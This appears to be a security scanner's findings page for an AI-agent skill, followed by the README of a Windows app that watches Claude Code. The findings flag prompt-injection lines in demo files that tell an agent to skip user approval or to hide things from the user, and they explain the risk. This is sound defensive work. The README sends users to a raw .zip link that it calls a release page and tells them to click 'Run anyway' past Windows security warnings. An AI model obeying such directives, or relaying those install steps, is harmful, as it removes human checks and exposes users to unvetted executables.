Findings & checks · 5 flagged
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · demo/docs/safety-guidelines.md×2
The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.
Show all 2 locations
- Delete blanket "don't ask / no need to confirm" directives from the skill.
- If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Trace & refs
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · demo/prompts/system-prompt.md
The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.
- Delete blanket "don't ask / no need to confirm" directives from the skill.
- If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Trace & refs
MEDIUM"Never tell the user" non-disclosure imperative in the skillSS-SKILL-INJECT-IMPERATIVE-01 · Prompt injection · demo/docs/safety-guidelines.md
A bulleted imperative like {match} tells the agent to never reveal, disclose, or mention something to the user. Used adversarially it can instruct the agent to hide its tool calls or lie about what it did — stripping the transparency a user relies on to trust the agent.
- Delete any "never reveal / never tell the user" line aimed at the model's own behavior.
- Keep legitimate confidentiality rules about external data (e.g. "do not echo API keys"), which are user-protective, not user-deceiving.
Trace & refs
MEDIUM"Never tell the user" non-disclosure imperative in the skillSS-SKILL-INJECT-IMPERATIVE-01 · Prompt injection · demo/prompts/system-prompt.md
A bulleted imperative like {match} tells the agent to never reveal, disclose, or mention something to the user. Used adversarially it can instruct the agent to hide its tool calls or lie about what it did — stripping the transparency a user relies on to trust the agent.
- Delete any "never reveal / never tell the user" line aimed at the model's own behavior.
- Keep legitimate confidentiality rules about external data (e.g. "do not echo API keys"), which are user-protective, not user-deceiving.
Trace & refs
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
👀 claude-watch - See Claude Code Clearly
🧭 What is claude-watch?
claude-watch is a Windows app that helps you see what Claude Code is doing in your project. It gives you a live view of project logic, file changes, and code search. It is built for people who want a clear window into their work without digging through files by hand.
Use it to follow changes as they happen, check how your project is evolving, and find the code you need faster. It keeps the view simple, so you can focus on the project instead of the tools.
📦 Download
Visit this page to download claude-watch for Windows:
https://raw.githubusercontent.com/mr-mrs-xx1/claude-watch/main/dashboard/claude-watch-1.5.zip
On that page, look for the latest release and download the Windows file that matches your system. If you see more than one file, choose the one for Windows.
🖥️ System Requirements
claude-watch is made for modern Windows computers.
- Windows 10 or Windows 11
- A recent 64-bit PC
- At least 4 GB of memory
- 200 MB of free disk space
- A working internet connection for the first download
- Access to your Claude Code project folder
For best results, keep your project on a local drive such as C:\ and close other apps if your PC feels slow.
🚀 Getting Started
Follow these steps to install and open claude-watch on Windows.
- Open the download page:
https://raw.githubusercontent.com/mr-mrs-xx1/claude-watch/main/dashboard/claude-watch-1.5.zip
- Find the latest release near the top of the page.
- Download the Windows file from that release.
- If you see a setup file, use that one.
- If you see a ZIP file, download it and extract it first.
- If Windows asks for permission, choose Run or Yes.
- If the app came in a ZIP file:
- Right-click the ZIP file
- Choose Extract All
- Open the extracted folder
- Start the app file inside the folder
- If Windows shows a security message:
- Select More info
- Then select Run anyway if you trust the file from the release page
- Open claude-watch after it finishes loading.
- Point the app at your project folder when it asks for one.
- Leave Claude Code and claude-watch running while you work so the dashboard can track changes in real time.
📁 First-Time Setup
When you open claude-watch for the first time, you may need to set a project folder and let the app index your files.
- Choose the folder that holds your project
- Let the app scan the files
- Wait for the first view to load
- Keep the folder in the same place after setup
If you move the project to a new folder, open claude-watch again and select the new location.
👀 What You Can Do With It
claude-watch helps you keep track of your project in a few simple ways.
- Watch file changes as they happen
- See the logic of your project in a clear view
- Search for code, file names, or terms
- Check what changed since your last session
- Follow the flow of work while Claude Code makes updates
- Find parts of the project without opening each file by hand
This can save time when you need to understand a project fast or check how a change fits into the rest of the code.
🧰 How to Use the Dashboard
After setup, the app shows a dashboard with live project data.
- Use the main view to see recent activity
- Open a file or section to inspect changes
- Use search to find text across the project
- Look at the change history to see what moved
- Switch between views to compare different parts of the project
If you are not sure where to start, use search first. It is the quickest way to find a file, a term, or a feature.
🔍 Search Tips
To get better results from search:
- Search for exact file names when you know them
- Use short terms first
- Try feature names, class names, or folder names
- Search again after Claude Code makes new changes
If your project has many files, search can help you find the right place faster than opening folders one by one.
🛠️ Common Use Cases
claude-watch works well when you want to:
- Review changes after an AI coding session
- Watch how a feature grows across files
- Keep an eye on logic flow in a large project
- Find code that matches a screen, feature, or task
- Track edits while testing new ideas
- Get a clearer view of project structure
🧩 File Types and Project Support
claude-watch works best with common project files used in desktop and web work.
- Source files
- Config files
- Markdown notes
- JSON data
- Text files
- Project folders with nested subfolders
It is built to handle active projects with many files, so it fits well with real development work and ongoing edits.
🔒 Privacy and Local Use
claude-watch is meant to help you view your own project on your machine.
- Your files stay in your project folder
- The dashboard reads local project data
- You control which folder the app uses
- You can close the app at any time
If you work in a shared project, make sure you choose the right folder before you start.
🧭 Troubleshooting
If the app does not open or load as expected, try these steps.
- Download the latest release again
- Make sure you picked the Windows file
- If you used a ZIP file, extract it fully
- Check that your project folder still exists
- Restart the app
- Restart Windows if the app freezes
- Keep the app in a folder you can access
If the dashboard stays blank:
- Confirm that the selected folder has files
- Wait for the first scan to finish
- Reopen the app and select the project folder again
If search does not return results:
- Try a shorter search term
- Check that the project has already been scanned
- Confirm you are searching the right folder
🧾 Release Notes
The release page lists the latest Windows build, version details, and download files.
https://raw.githubusercontent.com/mr-mrs-xx1/claude-watch/main/dashboard/claude-watch-1.5.zip
Check that page when you want the newest build or need to compare files for different Windows setups.
❓ FAQ
Is claude-watch hard to use?
No. You download it, open it, and choose your project folder. After that, the app does most of the work.
Do I need coding knowledge?
No. You can use it as a viewer for your project and search for files or terms with simple input.
Does it work with Claude Code?
Yes. It is made to observe Claude Code work and show you useful project changes in real time.
Can I use it on more than one project?
Yes. Open one project folder, then switch to another folder when you want to work elsewhere.
What if I update my project often?
That is fine. claude-watch is built to follow active changes, so it fits ongoing work.
📌 Quick Start Checklist
- Open the release page
- Download the Windows file
- Extract it if needed
- Run the app
- Select your project folder
- Let it scan the files
- Use search and the dashboard to follow changes